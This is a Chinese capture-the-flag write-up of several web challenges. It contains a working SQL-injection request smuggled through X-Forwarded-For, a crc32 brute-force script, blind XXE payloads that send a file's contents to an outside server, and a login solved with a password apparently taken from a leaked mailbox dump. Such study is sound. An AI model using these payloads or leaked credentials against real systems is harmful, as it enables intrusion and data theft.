08067ctf 補題 Web Writeup

非常好的題目,套路少一些,學習多一些

Web

你能進入後臺嗎?

非常有趣,這個不是套路了,直接提示存在index.php.bak,下載下來發現是一堆亂碼,然後看第二個提示php-screw,看來代碼是經過保護了
找到解密的代碼
https://github.com/firebroo/screw_decode

這裏寫圖片描述

並且密碼都告訴了,應該是沒什麼問題的
然後就是漫漫的嘗試的道路…真是坑死了…
建議還是下載一下加密解密的都來試試,加密的官網
https://sourceforge.net/projects/php-screw/
然後我找到的可以用的github代碼
https://github.com/amor-tsai/php_screw
下載之後解壓,然後進入tools目錄,然後make一下
這裏不得不說題目也是坑,掃描一下存在index.php.bak文件,然後居然文件是殘缺的???

這裏寫圖片描述

改成這樣才能成功解密
然後得到代碼

?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
$link = mysqli_connect('localhost', 'root', '*******', '*******');
if($link)
{
    $name=$_POST["logname"];
    $password=$_POST["logpass"];
    if(!isset($name)||!isset($password))//判斷是否爲空
      {
      exit();}       
    else{
        if(empty($name)||empty($password)){
        echo "<script type="."\""."text/javascript"."\"".">"."window.alert"."("."\""."請填寫正確的信息!"."\"".")".";"."</script>";
      }
    $str="select password from users where password='".md5($password,true)."'";
    $str1="select password from users where user_id=1";
    $result=mysqli_query($link,$str);
    $result1=mysqli_query($link,$str1);
    $pass=mysqli_fetch_array($result,MYSQLI_ASSOC);
    $pass1=mysqli_fetch_array($result1,MYSQLI_ASSOC);
    if($pass['password']===$pass1['password'])//判斷是否正確匹配
    {
      //echo"登錄成功!";
      echo "<script type="."\""."text/javascript"."\"".">"."window.alert"."("."\""."flag{******}"."\"".")".";"."</script>";
    }
    else
    {  
      echo"<script type="."\""."text/javascript"."\"".">"."window.alert"."("."\""."登錄失敗!"."\"".")".";"."</script>";
    }

     exit();
}
}
?>

然後就是常規套路了

這裏寫圖片描述

這裏寫圖片描述

flag{mD5_1nject1on_pHp_scr3w_1nt3re5t1ng}

web catch me if you can

我自己做的時候對網站直接掃描,兩下就被ban了,應該不是那麼做的
這個大佬說是一個社工題目,真是接觸的很少,大佬提示說看到音速猴子的qq號碼想到去加一下,在空間存在一個base64加密的內容,然後解密後就得到了一個該網站8001端口的地址,但是其實我們用nmap掃描一下也能得到

這裏寫圖片描述

這裏寫圖片描述

然後嘗試爆破一下
這裏寫圖片描述

進入登錄頁面,並不知道要幹嘛,貌似要社工下面那個郵箱(163郵箱泄露52G那個)mailto://[email protected],以前確實是不會這方面,然後去找搜索到

sonic2011/2010sonic

登錄得到flag

flag{S0ci4l_3nGin33r_1s_C00L}

學習一波

我們來做個小遊戲吧

首先這個題目是比較複雜的,首先我們看一下config.php文件,發現所有的輸入都進行了addslashes防止注入,也即是說基本山除了寬字節注入沒什麼辦法了。代碼如下

foreach ($_GET as $key => $value ) {
    $_GET[$key] = daddslashes($value);
}

foreach ($_POST as $key => $value ) {
    $_POST[$key] = daddslashes($value);
}

foreach ($_COOKIE as $key => $value ) {
    $_COOKIE[$key] = daddslashes($value);
}

foreach ($_SERVER as $key => $value ) {
    $_SERVER[$key] = addslashes($value);
}

function daddslashes($string) {
    if(!get_magic_quotes_gpc()) {
        if(is_array($string)) {
            foreach($string as $key => $val) {
                $string[$key] = daddslashes($val);
            }
        } else {
            $string = addslashes($string);
        }
    }
    return $string;
}

然後繼續看一下整個代碼要幹嘛,就是一個簡單的有一個猜篩子數的功能,初始10分,猜中+1分否則-1,到了100分出flag,一般來說這概率不可能的…中間的傳參數用的是Session會話傳輸的,但是這裏還用了數據庫去存儲,主要利用數據庫的就是創建用戶、加載信息、更新內容三塊功能

function load_session()
    {
        $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'");
        $session = $res->fetch_array();
        if (empty($session))
        {
            $this->insert_session();
        }
        else
        {
            $GLOBALS['_SESSION']  = unserialize($session['data']);
        }
    }

    function update_session()
    {
        $data = serialize($GLOBALS['_SESSION']);

        $data = addslashes($data);

        return $this->dbConn->query('UPDATE ' . $this->session_table . " SET ip = '" . $this->_ip . "',  data = '$data' WHERE session_id = '" . $this->session_id . "'");
    }

    function gen_session_id()
    {
        $this->session_id = md5(uniqid(mt_rand(), true));

        return $this->insert_session();
    }

關鍵的內容就是這個data

這裏寫圖片描述

這個是serialize過得值。
然後我們嘗試尋找可以控制的點發現$session_id可以通過Cookie傳參,然後IP可以通過X_FORWARDED_FOR控制,然後我們只需要這兩個在第一次建立會話的時候控制好就能控制mysql中session_id和ip內容,需要通過一個簡單的驗證

...
        if ($this->session_id)
        {
            $tmp_session_id = substr($this->session_id, 0, 32);
            var_dump ($this->gen_session_key($tmp_session_id));
            if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32))
            {
                $this->session_id = $tmp_session_id;
            }
            else
            {
                $this->session_id = '';
            }
        }
...
...
...
    function gen_session_key($session_id)
    {
        static $ip = '';

        if ($ip == '')
        {
            $ip = substr($this->_ip, 0, strrpos($this->_ip, '.'));
            var_dump($ip);
        }

        return sprintf('%08x', crc32($ip . $session_id));
    }

ip中的一段截取最後一個小數點前的內容然後加上session_id輸入值的前32位,經過crc再和session_id32位後內容進行匹配,很容易實現

這裏寫圖片描述

這裏寫圖片描述

然後我們可以怎麼去處理,想了半天沒什麼結果,參考了一下大佬的思路算是醍醐灌頂,類似的做法也不是沒有用過,但是複雜環境下居然沒想到!

我們這裏還是利用了了session_id作爲注入點,如何注入,我們利用了輸入時候的

這裏寫圖片描述

加上輸入時候的轉義,可以構造\轉義截斷原本句式中的單引號,具體如下,當我們構造31*a+'時候,字符串會轉義成31*a+\+'但是我們的session_id貌似只是取32位,那麼就成了31*a+\,原來的語句就變成了這樣

SELECT data FROM session WHERE session_id = 'xxxxxx\' and ip = '$this->_ip'

這樣這個$this->_ip變量就直接逃逸出來了!
但是這裏注意肯定不可以用單引號,我們別忘了session_id的可控性是建立在繞過了前面的檢測的,二crc是不可能出現單引號的,但是可以出現這個

%00  ->   \0

所以我們只要構造31位任意字符+\,在crc之後結果第一位是0就好了,輸入的時候輸入%00即可!然後我們寫個腳本爆破一下
爆破腳本如下

<?php
while (True){
    $a = substr(md5(uniqid(mt_rand(), true)),0,31);
    $a .= "\\";
    $b = sprintf('%08x', crc32($a));
    if ($b[0]=='0'){
        echo $a."\n".$b;
        break;
    }
}
?>
//efe54bc6b2cf38a948caddaa1cf5851\
//0ed92248

然後利用最最簡單的union 查詢性質,利用0x16進制繞過引號限制,最終構造payload如下

GET /web/index.php HTTP/1.1
Host:127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: SESSID=efe54bc6b2cf38a948caddaa1cf5851%00ed92248
X-FORWARDED-FOR: union select 0x613a323a7b733a343a226e616d65223b733a353a2261646d696e223b733a353a2273636f7265223b733a333a22393939223b7d#
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 16

這裏寫圖片描述

現在回味細細想不算很難的題目,但是確實非常開動腦筋!學習了!

flag{75f5aa81632055fb6a71a4ffb4685849}

師傅們一起來找flag

首先看到了包頭,感覺就非常像XXE的傳輸模式,現在才發現當時沒有好好地總結一下XXE,包括這裏用到的blind XXE,後面補上
這裏直接嘗試沒什麼回顯,然後嘗試Blind XXE發現也不成功,實驗代碼如下

#evil.xml

<?xml version="1.0"?>
<!DOCTYPE ANY[ 
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://xx.xxx.xxx.xx/1.php?file=%file;'>">
]>


#輸入
<?xml version="1.0"?>  
<!DOCTYPE ANY[  
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag">  
<!ENTITY % remote SYSTEM "http://xx.xxx.xxx.xx/evil.xml">  
%remote;  
 %all;  
%send;  
]>  

但是還是失敗,猜測是將ENTITY 這種關鍵詞禁掉了,然後進行各種嘗試,最後還是看着大佬們的解法做出來的,因爲想不到用base64加密一下,總覺得讀寫文件也沒什麼問題。。。解法如下

這裏寫圖片描述

然後在服務器掛載dtd內容
這裏寫圖片描述

最後效果實際上是遠程加載到了一個程序中
調用順序爲
遠程調用->%payload->&send->%file (執行順序很重要)
然後查看一下系統訪問日誌

cat /var/log/apache2/access.log | tail -n 10

這裏寫圖片描述

然後解密即可得到flag

flag{Th1s_1s_4_e4sy_xx3_!@#}

學習了一波

python sandbox

這個題目貌似下線了,有點遺憾說是python沙盒的還是大概記錄一下通過看wp的內容吧,具體看後面的博客
http://blog.csdn.net/qq_35078631/article/details/78504415

You Think I Think

這個題目是Thinkphp模板注入,沒有做這個題目,但是應該是不難的
首先是登錄賬號,修改頭像的時候可以上傳一張還有惡意代碼的圖片(注意惡意代碼要符合Thinkphp模板的代碼格式)

這裏寫圖片描述

這裏寫圖片描述

根據題目的提示

這裏寫圖片描述

然後就是調用的文件位置嘛,然後我們只要在這裏調用我們上傳的惡意圖片就可以執行惡意代碼了
這裏寫圖片描述

flag!flag

題目應該不難,是個套路題目,思路就是利用文件包含得到源碼,然後白箱的注入,用到了if(true,1,0)句式貌似,不是太難,我做的時候服務已經關了,就不寫了^_^












[未完待續]

發佈了188 篇原創文章 · 獲贊 48 · 訪問量 30萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章